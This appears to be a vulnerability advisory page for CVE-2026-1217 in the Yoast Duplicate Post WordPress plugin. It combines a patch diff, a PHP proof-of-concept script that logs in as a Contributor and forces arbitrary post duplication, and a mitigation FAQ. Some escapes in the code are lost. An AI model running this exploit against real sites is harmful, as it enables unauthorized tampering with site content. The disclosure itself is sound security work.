+ *
+ * @since 4.6
+ */
+class Rest_API_Handler {
+
+ /**
+ * The REST API namespace.
+ *
+ * @var string
+ */
+ public const REST_NAMESPACE = 'duplicate-post/v1';
+
+ /**
+ * Holds the permissions helper.
+ *
+ * @var Permissions_Helper
+ */
+ protected $permissions_helper;
+
+ /**
+ * Initializes the class.
+ *
+ * @param Permissions_Helper $permissions_helper The Permissions Helper object.
+ */
+ public function __construct( Permissions_Helper $permissions_helper ) {
+ $this->permissions_helper = $permissions_helper;
+ }
+
+ /**
+ * Adds hooks to integrate with WordPress.
+ *
+ * @return void
+ */
+ public function register_hooks() {
+ add_action( 'rest_api_init', [ $this, 'register_routes' ] );
+ }
+
+ /**
+ * Registers the REST API routes.
+ *
+ * @return void
+ */
+ public function register_routes() {
+ register_rest_route(
+ self::REST_NAMESPACE,
+ '/original/(?P<post_id>d+)',
+ [
+ 'methods' => WP_REST_Server::DELETABLE,
+ 'callback' => [ $this, 'remove_original' ],
+ 'permission_callback' => [ $this, 'can_remove_original' ],
+ 'args' => [
+ 'post_id' => [
+ 'description' => __( 'The ID of the post to remove the original reference from.', 'duplicate-post' ),
+ 'type' => 'integer',
+ 'required' => true,
+ 'validate_callback' => static function ( $param ) {
+ return is_numeric( $param ) && (int) $param > 0;
+ },
+ 'sanitize_callback' => 'absint',
+ ],
+ ],
+ ],
+ );
+ }
+
+ /**
+ * Checks if the current user can remove the original reference.
+ *
+ * @param WP_REST_Request $request The REST request object.
+ *
+ * @return bool|WP_Error True if the user can remove the original, WP_Error otherwise.
+ */
+ public function can_remove_original( WP_REST_Request $request ) {
+ $post_id = $request->get_param( 'post_id' );
+ $post = get_post( $post_id );
+
+ if ( ! $post ) {
+ return new WP_Error(
+ 'rest_post_not_found',
+ __( 'Post not found.', 'duplicate-post' ),
+ [ 'status' => 404 ],
+ );
+ }
+
+ if ( ! current_user_can( 'edit_post', $post_id ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to edit this post.', 'duplicate-post' ),
+ [ 'status' => 403 ],
+ );
+ }
+
+ if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'Cannot remove original reference from a Rewrite & Republish copy.', 'duplicate-post' ),
+ [ 'status' => 403 ],
+ );
+ }
+
+ return true;
+ }
+
+ /**
+ * Removes the original reference from a post.
+ *
+ * @param WP_REST_Request $request The REST request object.
+ *
+ * @return WP_REST_Response|WP_Error The REST response or error.
+ */
+ public function remove_original( WP_REST_Request $request ) {
+ $post_id = $request->get_param( 'post_id' );
+
+ $deleted = delete_post_meta( $post_id, '_dp_original' );
+
+ if ( ! $deleted ) {
+ return new WP_Error(
+ 'rest_cannot_delete',
+ __( 'Could not remove the original reference.', 'duplicate-post' ),
+ [ 'status' => 500 ],
+ );
+ }
+
+ return new WP_REST_Response(
+ [
+ 'success' => true,
+ 'message' => __( 'Original reference removed successfully.', 'duplicate-post' ),
+ ],
+ 200,
+ );
+ }
+}
--- a/duplicate-post/src/handlers/save-post-handler.php
+++ b/duplicate-post/src/handlers/save-post-handler.php
@@ -42,14 +42,18 @@
/**
* Deletes the custom field with the ID of the original post.
*
+ * Handles the classic editor checkbox for removing the original reference.
+ *
* @param int $post_id The current post ID.
*
* @return void
*/
public function delete_on_save_post( $post_id ) {
- if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )
- || empty( $_POST['duplicate_post_remove_original'] )
- || ! current_user_can( 'edit_post', $post_id ) ) {
+ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+ return;
+ }
+
+ if ( ! current_user_can( 'edit_post', $post_id ) ) {
return;
}
@@ -57,7 +61,14 @@
if ( ! $post ) {
return;
}
- if ( ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
+
+ if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
+ return;
+ }
+
+ // Check for classic editor (POST request).
+ // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce is verified in the metabox.
+ if ( ! empty( $_POST['duplicate_post_remove_original'] ) ) {
delete_post_meta( $post_id, '_dp_original' );
}
}
--- a/duplicate-post/src/post-duplicator.php
+++ b/duplicate-post/src/post-duplicator.php
@@ -15,7 +15,7 @@
/**
* Returns an array with the default option values.
*
- * @return array The default options values.
+ * @return array<string, bool|int|string|array|null> The default options values.
*/
public function get_default_options() {
return [
@@ -187,7 +187,7 @@
*/
public function copy_post_taxonomies( $new_id, $post, $options ) {
// Clear default category (added by wp_insert_post).
- wp_set_object_terms( $new_id, null, 'category' );
+ wp_set_object_terms( $new_id, [], 'category' );
$post_taxonomies = get_object_taxonomies( $post->post_type );
// Several plugins just add support to post-formats but don't register post_format taxonomy.
--- a/duplicate-post/src/post-republisher.php
+++ b/duplicate-post/src/post-republisher.php
@@ -63,6 +63,8 @@
// Clean up after the redirect to the original post.
add_action( 'load-post.php', [ $this, 'clean_up_after_redirect' ] );
+ // Clean up orphaned R&R copies when opening a post for editing.
+ add_action( 'load-post.php', [ $this, 'clean_up_orphaned_copy' ], 11 );
// Clean up the original when the copy is manually deleted from the trash.
add_action( 'before_delete_post', [ $this, 'clean_up_when_copy_manually_deleted' ] );
// Ensure scheduled Rewrite and Republish posts are properly handled.
@@ -140,6 +142,14 @@
return;
}
+ if ( ! current_user_can( 'edit_post', $original_post->ID ) ) {
+ wp_die(
+ esc_html__( 'You are not allowed to republish this post.', 'duplicate-post' ),
+ esc_html__( 'Permission denied', 'duplicate-post' ),
+ [ 'response' => 403 ],
+ );
+ }
+
$this->republish( $post, $original_post );
// Trigger the redirect in the Classic Editor.
@@ -206,6 +216,39 @@
}
/**
+ * Cleans up orphaned Rewrite & Republish copies when opening a post for editing.
+ *
+ * This ensures that if a copy is stuck in the dp-rewrite-republish status,
+ * it gets deleted automatically to unblock the R&R functionality.
+ *
+ * @return void
+ */
+ public function clean_up_orphaned_copy() {
+ if ( empty( $_GET['post'] ) || empty( $_GET['action'] ) || $_GET['action'] !== 'edit' ) {
+ return;
+ }
+
+ $post_id = intval( wp_unslash( $_GET['post'] ) );
+ $post = get_post( $post_id );
+
+ if ( ! $post || $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
+ return;
+ }
+
+ // Check if this post has an orphaned R&R copy.
+ $copy = $this->permissions_helper->get_rewrite_and_republish_copy( $post );
+
+ if ( ! $copy ) {
+ return;
+ }
+
+ // If the copy is in dp-rewrite-republish status, it's orphaned and should be deleted.
+ if ( $copy->post_status === 'dp-rewrite-republish' ) {
+ $this->delete_copy( $copy->ID, $post->ID );
+ }
+ }
+
+ /**
* Cleans up the copied post and temporary metadata after the user has been redirected.
*
* @return void
@@ -257,6 +300,21 @@
* @return void
*/
public function republish( WP_Post $post, WP_Post $original_post ) {
+
+ /**
+ * Fires before the Rewrite & Republish copy is republished to the original post.
+ *
+ * This action runs before any content, taxonomies, or meta are copied from the
+ * Rewrite & Republish copy to the original post. Use this hook to perform actions
+ * or modifications before the republishing process begins.
+ *
+ * @since 4.6
+ *
+ * @param WP_Post $post The Rewrite & Republish copy.
+ * @param WP_Post $original_post The original post that will be overwritten.
+ */
+ do_action( 'duplicate_post_before_republish', $post, $original_post );
+
// Remove WordPress default filter so a new revision is not created on republish.
remove_action( 'post_updated', 'wp_save_post_revision', 10 );
@@ -272,6 +330,21 @@
// Re-enable the creation of a new revision.
add_action( 'post_updated', 'wp_save_post_revision', 10, 1 );
+
+ /**
+ * Fires after the Rewrite & Republish copy has been republished to the original post.
+ *
+ * This action runs after all content, taxonomies, and meta have been copied from
+ * the Rewrite & Republish copy to the original post. The copy is marked as republished
+ * but has not yet been deleted. Use this hook to perform cleanup or additional
+ * processing after the republishing is complete.
+ *
+ * @since 4.6
+ *
+ * @param WP_Post $post The Rewrite & Republish copy.
+ * @param WP_Post $original_post The original post that has been updated.
+ */
+ do_action( 'duplicate_post_after_republish', $post, $original_post );
}
/**
@@ -386,8 +459,8 @@
'dpcopy' => $copy_id,
'dpnonce' => wp_create_nonce( 'dp-republish' ),
],
- admin_url( 'post.php?action=edit&post=' . $original_post_id )
- )
+ admin_url( 'post.php?action=edit&post=' . $original_post_id ),
+ ),
);
exit();
}
--- a/duplicate-post/src/ui/admin-bar.php
+++ b/duplicate-post/src/ui/admin-bar.php
@@ -88,7 +88,7 @@
'id' => 'duplicate-post',
'title' => '<span class="ab-icon"></span><span class="ab-label">' . __( 'Duplicate Post', 'duplicate-post' ) . '</span>',
'href' => $this->link_builder->build_new_draft_link( $post ),
- ]
+ ],
);
$wp_admin_bar->add_menu(
[
@@ -96,7 +96,7 @@
'parent' => 'duplicate-post',
'title' => __( 'Copy to a new draft', 'duplicate-post' ),
'href' => $this->link_builder->build_new_draft_link( $post ),
- ]
+ ],
);
$wp_admin_bar->add_menu(
[
@@ -104,7 +104,7 @@
'parent' => 'duplicate-post',
'title' => __( 'Rewrite & Republish', 'duplicate-post' ),
'href' => $this->link_builder->build_rewrite_and_republish_link( $post ),
- ]
+ ],
);
}
else {
@@ -114,7 +114,7 @@
'id' => 'new-draft',
'title' => '<span class="ab-icon"></span><span class="ab-label">' . __( 'Copy to a new draft', 'duplicate-post' ) . '</span>',
'href' => $this->link_builder->build_new_draft_link( $post ),
- ]
+ ],
);
}
@@ -124,7 +124,7 @@
'id' => 'rewrite-republish',
'title' => '<span class="ab-icon"></span><span class="ab-label">' . __( 'Rewrite & Republish', 'duplicate-post' ) . '</span>',
'href' => $this->link_builder->build_rewrite_and_republish_link( $post ),
- ]
+ ],
);
}
}
--- a/duplicate-post/src/ui/asset-manager.php
+++ b/duplicate-post/src/ui/asset-manager.php
@@ -2,8 +2,6 @@
namespace YoastWPDuplicate_PostUI;
-use YoastWPDuplicate_PostUtils;
-
/**
* Duplicate Post class to manage assets.
*/
@@ -35,46 +33,47 @@
* @return void
*/
public function register_scripts() {
- $flattened_version = Utils::flatten_version( DUPLICATE_POST_CURRENT_VERSION );
-
wp_register_script(
'duplicate_post_edit_script',
- plugins_url( sprintf( 'js/dist/duplicate-post-edit-%s.js', $flattened_version ), DUPLICATE_POST_FILE ),
+ plugins_url( 'js/dist/duplicate-post-edit.js', DUPLICATE_POST_FILE ),
[
+ 'wp-api-fetch',
'wp-components',
'wp-element',
'wp-i18n',
],
DUPLICATE_POST_CURRENT_VERSION,
- true
+ true,
);
+ wp_set_script_translations( 'duplicate_post_edit_script', 'duplicate-post' );
wp_register_script(
'duplicate_post_strings',
- plugins_url( sprintf( 'js/dist/duplicate-post-strings-%s.js', $flattened_version ), DUPLICATE_POST_FILE ),
+ plugins_url( 'js/dist/duplicate-post-strings.js', DUPLICATE_POST_FILE ),
[
'wp-components',
'wp-element',
'wp-i18n',
],
DUPLICATE_POST_CURRENT_VERSION,
- true
+ true,
);
+ wp_set_script_translations( 'duplicate_post_strings', 'duplicate-post' );
wp_register_script(
'duplicate_post_quick_edit_script',
- plugins_url( sprintf( 'js/dist/duplicate-post-quick-edit-%s.js', $flattened_version ), DUPLICATE_POST_FILE ),
+ plugins_url( 'js/dist/duplicate-post-quick-edit.js', DUPLICATE_POST_FILE ),
[ 'jquery' ],
DUPLICATE_POST_CURRENT_VERSION,
- true
+ true,
);
wp_register_script(
'duplicate_post_options_script',
- plugins_url( sprintf( 'js/dist/duplicate-post-options-%s.js', $flattened_version ), DUPLICATE_POST_FILE ),
+ plugins_url( 'js/dist/duplicate-post-options.js', DUPLICATE_POST_FILE ),
[ 'jquery' ],
DUPLICATE_POST_CURRENT_VERSION,
- true
+ true,
);
}
@@ -109,12 +108,12 @@
wp_add_inline_script(
$handle,
'let duplicatePostNotices = {};',
- 'before'
+ 'before',
);
wp_localize_script(
$handle,
'duplicatePost',
- $data_object
+ $data_object,
);
}
@@ -131,7 +130,7 @@
wp_localize_script(
$handle,
'duplicatePostStrings',
- $data_object
+ $data_object,
);
}
@@ -161,21 +160,20 @@
* @return void
*/
public function enqueue_elementor_script( $data_object = [] ) {
- $flattened_version = Utils::flatten_version( DUPLICATE_POST_CURRENT_VERSION );
- $handle = 'duplicate_post_elementor_script';
+ $handle = 'duplicate_post_elementor_script';
wp_register_script(
$handle,
- plugins_url( sprintf( 'js/dist/duplicate-post-elementor-%s.js', $flattened_version ), DUPLICATE_POST_FILE ),
+ plugins_url( 'js/dist/duplicate-post-elementor.js', DUPLICATE_POST_FILE ),
[ 'jquery' ],
DUPLICATE_POST_CURRENT_VERSION,
- true
+ true,
);
wp_enqueue_script( $handle );
wp_localize_script(
$handle,
'duplicatePost',
- $data_object
+ $data_object,
);
}
}
--- a/duplicate-post/src/ui/block-editor.php
+++ b/duplicate-post/src/ui/block-editor.php
@@ -87,7 +87,7 @@
}
wp_add_inline_style(
'elementor-editor',
- '.elementor-control-post_status { display: none !important; }'
+ '.elementor-control-post_status { display: none !important; }',
);
}
@@ -129,6 +129,8 @@
return;
}
+ $this->asset_manager->enqueue_styles();
+
$edit_js_object = $this->generate_js_object( $post );
$this->asset_manager->enqueue_edit_script( $edit_js_object );
@@ -214,7 +216,7 @@
'dpcopy' => $post->ID,
'dpnonce' => wp_create_nonce( 'dp-republish' ),
],
- admin_url( 'post.php?action=edit&post=' . $original_post_id )
+ admin_url( 'post.php?action=edit&post=' . $original_post_id ),
);
}
@@ -223,18 +225,32 @@
*
* @param WP_Post $post The current post object.
*
- * @return array The data to pass to JavaScript.
+ * @return array<string, mixed> The data to pass to JavaScript.
*/
protected function generate_js_object( WP_Post $post ) {
$is_rewrite_and_republish_copy = $this->permissions_helper->is_rewrite_and_republish_copy( $post );
+ $original_item = Utils::get_original( $post );
+ $original_data = null;
+
+ if ( $original_item instanceof WP_Post ) {
+ $original_data = [
+ 'editUrl' => esc_url_raw( get_edit_post_link( $original_item->ID, 'raw' ) ),
+ 'viewUrl' => esc_url_raw( get_permalink( $original_item->ID ) ),
+ 'title' => html_entity_decode( _draft_or_post_title( $original_item ), ENT_QUOTES, 'UTF-8' ),
+ 'canEdit' => current_user_can( 'edit_post', $original_item->ID ),
+ ];
+ }
return [
+ 'postId' => $post->ID,
'newDraftLink' => $this->get_new_draft_permalink(),
'rewriteAndRepublishLink' => $this->get_rewrite_republish_permalink(),
'showLinks' => Utils::get_option( 'duplicate_post_show_link' ),
'showLinksIn' => Utils::get_option( 'duplicate_post_show_link_in' ),
'rewriting' => ( $is_rewrite_and_republish_copy ) ? 1 : 0,
'originalEditURL' => $this->get_original_post_edit_url(),
+ 'showOriginalMetaBox' => intval( get_option( 'duplicate_post_show_original_meta_box' ) ) === 1,
+ 'originalItem' => $original_data,
];
}
@@ -268,7 +284,7 @@
$suggestions,
static function ( $suggestion ) use ( $original_post_id ) {
return $suggestion->object_id !== $original_post_id;
- }
+ },
);
}
}
--- a/duplicate-post/src/ui/bulk-actions.php
+++ b/duplicate-post/src/ui/bulk-actions.php
@@ -58,9 +58,9 @@
/**
* Adds 'Rewrite & Republish' to the bulk action dropdown.
*
- * @param array $bulk_actions The bulk actions array.
+ * @param array<string, string> $bulk_actions The bulk actions array.
*
- * @return array The bulk actions array.
+ * @return array<string, string> The bulk actions array.
*/
public function register_bulk_action( $bulk_actions ) {
$is_draft_or_trash = isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'], [ 'draft', 'trash' ], true );
--- a/duplicate-post/src/ui/classic-editor.php
+++ b/duplicate-post/src/ui/classic-editor.php
@@ -258,9 +258,9 @@
/**
* Changes the post-scheduled notice when a post or page intended for republishing is scheduled.
*
- * @param array[] $messages Post updated messaged.
+ * @param array<string, array<int, string>> $messages Post updated messaged.
*
- * @return array[] The to-be-used messages.
+ * @return array<string, array<int, string>> The to-be-used messages.
*/
public function change_scheduled_notice_classic_editor( $messages ) {
$post = get_post();
@@ -277,10 +277,10 @@
/* translators: 1: The post title with a link to the frontend page, 2: The scheduled date and time. */
esc_html__(
'This rewritten post %1$s is now scheduled to replace the original post. It will be published on %2$s.',
- 'duplicate-post'
+ 'duplicate-post',
),
'<a href="' . $permalink . '">' . $post->post_title . '</a>',
- '<strong>' . $scheduled_date . ' ' . $scheduled_time . '</strong>'
+ '<strong>' . $scheduled_date . ' ' . $scheduled_time . '</strong>',
);
return $messages;
}
@@ -290,10 +290,10 @@
/* translators: 1: The page title with a link to the frontend page, 2: The scheduled date and time. */
esc_html__(
'This rewritten page %1$s is now scheduled to replace the original page. It will be published on %2$s.',
- 'duplicate-post'
+ 'duplicate-post',
),
'<a href="' . $permalink . '">' . $post->post_title . '</a>',
- '<strong>' . $scheduled_date . ' ' . $scheduled_time . '</strong>'
+ '<strong>' . $scheduled_date . ' ' . $scheduled_time . '</strong>',
);
}
--- a/duplicate-post/src/ui/column.php
+++ b/duplicate-post/src/ui/column.php
@@ -49,7 +49,7 @@
add_filter( "manage_{$enabled_post_type}_posts_columns", [ $this, 'add_original_column' ] );
add_action( "manage_{$enabled_post_type}_posts_custom_column", [ $this, 'show_original_item' ], 10, 2 );
}
- add_action( 'quick_edit_custom_box', [ $this, 'quick_edit_remove_original' ], 10, 2 );
+ add_action( 'quick_edit_custom_box', [ $this, 'quick_edit_remove_original' ] );
add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );
add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_styles' ] );
}
@@ -59,9 +59,9 @@
/**
* Adds Original item column to the post list.
*
- * @param array $post_columns The post columns array.
+ * @param array<string, string> $post_columns The post columns array.
*
- * @return array The updated array.
+ * @return array<string, string> The updated array.
*/
public function add_original_column( $post_columns ) {
if ( is_array( $post_columns ) ) {
@@ -94,10 +94,10 @@
$column_content = Utils::get_edit_or_view_link( $original_item );
}
- echo sprintf(
+ printf(
'<span class="duplicate_post_original_link"%s>%s</span>',
$data_attr, // phpcs:ignore WordPress.Security.EscapeOutput
- $column_content // phpcs:ignore WordPress.Security.EscapeOutput
+ $column_content, // phpcs:ignore WordPress.Security.EscapeOutput
);
}
}
@@ -129,19 +129,19 @@
</fieldset>',
esc_html__(
'Delete reference to original item.',
- 'duplicate-post'
+ 'duplicate-post',
),
wp_kses(
__(
'The original item this was copied from is: <span class="duplicate_post_original_item_title_span"></span>',
- 'duplicate-post'
+ 'duplicate-post',
),
[
'span' => [
'class' => [],
],
- ]
- )
+ ],
+ ),
);
}
--- a/duplicate-post/src/ui/link-builder.php
+++ b/duplicate-post/src/ui/link-builder.php
@@ -91,7 +91,7 @@
* @return string
*/
apply_filters( 'duplicate_post_get_clone_post_link', admin_url( 'admin.php' . $action ), $post->ID, $context, $action_name ),
- $action_name . '_' . $post->ID
+ $action_name . '_' . $post->ID,
);
}
}
--- a/duplicate-post/src/ui/metabox.php
+++ b/duplicate-post/src/ui/metabox.php
@@ -47,6 +47,11 @@
* @return void
*/
public function add_custom_metabox( $post_type, $post ) {
+ // Don't show the metabox in the block editor, we use the sidebar panel instead.
+ if ( use_block_editor_for_post( $post ) ) {
+ return;
+ }
+
$enabled_post_types = $this->permissions_helper->get_enabled_post_types();
if ( in_array( $post_type, $enabled_post_types, true )
@@ -61,7 +66,7 @@
$post_type,
'side',
'default',
- [ 'original' => $original_item ]
+ [ 'original' => $original_item ],
);
}
}
@@ -99,15 +104,15 @@
/* translators: %s: post title */
__(
'The original item this was copied from is: <span class="duplicate_post_original_item_title_span">%s</span>',
- 'duplicate-post'
+ 'duplicate-post',
),
[
'span' => [
'class' => [],
],
- ]
+ ],
),
- Utils::get_edit_or_view_link( $original_item ) // phpcs:ignore WordPress.Security.EscapeOutput
+ Utils::get_edit_or_view_link( $original_item ), // phpcs:ignore WordPress.Security.EscapeOutput
);
?>
</p>
--- a/duplicate-post/src/ui/newsletter.php
+++ b/duplicate-post/src/ui/newsletter.php
@@ -16,14 +16,13 @@
$newsletter_form_response = self::newsletter_handle_form();
-
$copy = sprintf(
/* translators: 1: Yoast */
esc_html__(
'If you want to stay up to date about all the exciting developments around Duplicate Post, subscribe to the %1$s newsletter!',
- 'duplicate-post'
+ 'duplicate-post',
),
- 'Yoast'
+ 'Yoast',
);
$email_label = esc_html__( 'Email address', 'duplicate-post' );
@@ -32,10 +31,10 @@
/* translators: %1$s and %2$s are replaced by opening and closing anchor tags. */
esc_html__(
'Yoast respects your privacy. Read %1$sour privacy policy%2$s on how we handle your personal information.',
- 'duplicate-post'
+ 'duplicate-post',
),
'<a href="https://yoa.st/4jf" target="_blank">',
- '</a>'
+ '</a>',
);
$response_html = '';
@@ -49,7 +48,7 @@
$html = '
<!-- Begin Newsletter Signup Form -->
<form method="post" id="newsletter-subscribe-form" name="newsletter-subscribe-form" novalidate>
- ' . wp_nonce_field( 'newsletter', 'newsletter_nonce' ) . '
+ ' . wp_nonce_field( 'newsletter', 'newsletter_nonce', true, false ) . '
<p>' . $copy . '</p>
<div class="newsletter-field-group" style="display: flex; flex-direction: column">
<label for="newsletter-email" style="margin: 0 0 4px 0;"><strong>' . $email_label . '</strong></label>
@@ -70,7 +69,7 @@
/**
* Handles and validates Newsletter form.
*
- * @return array|null
+ * @return array<string, string>|null
*/
private static function newsletter_handle_form() {
@@ -106,7 +105,7 @@
*
* @param string $email Subscriber email.
*
- * @return array Feedback response.
+ * @return array<string, string> Feedback response.
*/
private static function newsletter_subscribe_to_mailblue( $email ) {
$response = wp_remote_post(
@@ -120,7 +119,7 @@
],
'list' => 'Yoast newsletter',
],
- ]
+ ],
);
$wp_remote_retrieve_response_code = wp_remote_retrieve_response_code( $response );
--- a/duplicate-post/src/ui/post-states.php
+++ b/duplicate-post/src/ui/post-states.php
@@ -39,10 +39,10 @@
/**
* Shows link to original post in the post states.
*
- * @param array $post_states The array of post states.
- * @param WP_Post $post The current post.
+ * @param array<string, string> $post_states The array of post states.
+ * @param WP_Post $post The current post.
*
- * @return array The updated post states array.
+ * @return array<string, string> The updated post states array.
*/
public function show_original_in_post_states( $post_states, $post ) {
if ( ! $post instanceof WP_Post
--- a/duplicate-post/src/ui/row-actions.php
+++ b/duplicate-post/src/ui/row-actions.php
@@ -81,8 +81,8 @@
$actions['clone'] = '<a href="' . $this->link_builder->build_clone_link( $post->ID )
. '" aria-label="' . esc_attr(
- /* translators: %s: Post title. */
- sprintf( __( 'Clone “%s”', 'duplicate-post' ), $title )
+ /* translators: Hidden accessibility text; %s: Post title. */
+ sprintf( __( 'Clone “%s”', 'duplicate-post' ), $title ),
) . '">'
. esc_html_x( 'Clone', 'verb', 'duplicate-post' ) . '</a>';
@@ -108,8 +108,8 @@
$actions['edit_as_new_draft'] = '<a href="' . $this->link_builder->build_new_draft_link( $post->ID )
. '" aria-label="' . esc_attr(
- /* translators: %s: Post title. */
- sprintf( __( 'New draft of “%s”', 'duplicate-post' ), $title )
+ /* translators: Hidden accessibility text; %s: Post title. */
+ sprintf( __( 'New draft of “%s”', 'duplicate-post' ), $title ),
) . '">'
. esc_html__( 'New Draft', 'duplicate-post' )
. '</a>';
@@ -139,8 +139,8 @@
$actions['rewrite'] = '<a href="' . $this->link_builder->build_rewrite_and_republish_link( $post->ID )
. '" aria-label="' . esc_attr(
- /* translators: %s: Post title. */
- sprintf( __( 'Rewrite & Republish “%s”', 'duplicate-post' ), $title )
+ /* translators: Hidden accessibility text; %s: Post title. */
+ sprintf( __( 'Rewrite & Republish “%s”', 'duplicate-post' ), $title ),
) . '">'
. esc_html_x( 'Rewrite & Republish', 'verb', 'duplicate-post' ) . '</a>';
--- a/duplicate-post/src/utils.php
+++ b/duplicate-post/src/utils.php
@@ -12,23 +12,6 @@
class Utils {
/**
- * Flattens a version number for use in a filename.
- *
- * @param string $version The original version number.
- *
- * @return string The flattened version number.
- */
- public static function flatten_version( $version ) {
- $parts = explode( '.', $version );
-
- if ( count( $parts ) === 2 && preg_match( '/^d+$/', $parts[1] ) === 1 ) {
- $parts[] = '0';
- }
-
- return implode( '', $parts );
- }
-
- /**
* Adds slashes only to strings.
*
* @param mixed $value Value to slash only if string.
@@ -118,9 +101,9 @@
return sprintf(
'<a href="%s" aria-label="%s">%s</a>',
esc_url( get_edit_post_link( $post->ID ) ),
- /* translators: %s: post title */
+ /* translators: Hidden accessibility text; %s: post title */
esc_attr( sprintf( __( 'Edit “%s”', 'duplicate-post' ), $title ) ),
- $title
+ $title,
);
}
elseif ( is_post_type_viewable( $post_type_object ) ) {
@@ -130,9 +113,9 @@
return sprintf(
'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
esc_url( $preview_link ),
- /* translators: %s: post title */
+ /* translators: Hidden accessibility text; %s: post title */
esc_attr( sprintf( __( 'Preview “%s”', 'duplicate-post' ), $title ) ),
- $title
+ $title,
);
}
}
@@ -140,9 +123,9 @@
return sprintf(
'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
esc_url( get_permalink( $post->ID ) ),
- /* translators: %s: post title */
+ /* transla
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1217 - Yoast Duplicate Post <= 4.5 - Authenticated (Contributor+) Missing Authorization to Arbitrary Post Duplication and Overwrite
<?php
/*
* Proof of Concept for CVE-2026-1217
* Requires Contributor-level WordPress credentials
* Duplicates any post (including private/draft/trashed) via bulk action handler
*/
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$target_post_id = 1; // ID of post to duplicate (can be any post ID)
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// 1. Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// 2. Extract nonce from posts page
$posts_url = $target_url . '/wp-admin/edit.php';
curl_setopt($ch, CURLOPT_URL, $posts_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from response (simplified - in reality use DOM parsing)
preg_match('/"bulk_actions_nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// 3. Exploit bulk duplication vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_fields = [
'action' => 'duplicate_post_bulk_action',
'duplicate_post_bulk_action' => 'duplicate',
'post[]' => $target_post_id,
'duplicate_post_bulk_nonce' => $nonce
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);
// Check for success
if (strpos($response, 'bulk_cloned') !== false) {
echo "[+] Successfully duplicated post ID: $target_post_idn";
echo "[+] Response: $responsen";
} else {
echo "[-] Exploit failedn";
echo "[-] Response: $responsen";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-1217?
Overview of the vulnerabilityCVE-2026-1217 is a medium severity vulnerability in the Yoast Duplicate Post plugin for WordPress, affecting versions up to and including 4.5. It allows authenticated users with Contributor-level access and above to duplicate any post, including private and draft posts, and overwrite published posts due to missing authorization checks.
Who is affected by this vulnerability?
Identifying at-risk usersAny WordPress site using the Yoast Duplicate Post plugin version 4.5 or earlier is potentially affected. Specifically, authenticated users with Contributor-level access and above can exploit this vulnerability to duplicate and overwrite posts they should not have access to.
How can I check if my site is vulnerable?
Steps to identify vulnerabilityTo check if your site is vulnerable, verify the version of the Yoast Duplicate Post plugin installed. If it is version 4.5 or earlier, your site is at risk. Additionally, review user roles and permissions to assess if any Contributor-level users exist.
What are the practical risks associated with CVE-2026-1217?
Understanding the implicationsThe risks include unauthorized post duplication, which can lead to content theft or manipulation, as well as potential privilege escalation if an attacker gains control over published content. This could impact the integrity and trustworthiness of the website.
How can I mitigate the risk of this vulnerability?
Recommended actionsThe most effective mitigation is to update the Yoast Duplicate Post plugin to version 4.6 or later, which includes necessary authorization checks. Additionally, review user roles and limit access for Contributor-level users if possible.
What does the CVSS score of 5.4 indicate?
Severity assessmentA CVSS score of 5.4 indicates a medium severity level, suggesting that while the vulnerability is not critical, it poses a significant risk that should be addressed promptly. It is important to take action to prevent potential exploitation.
What are the specific functions involved in this vulnerability?
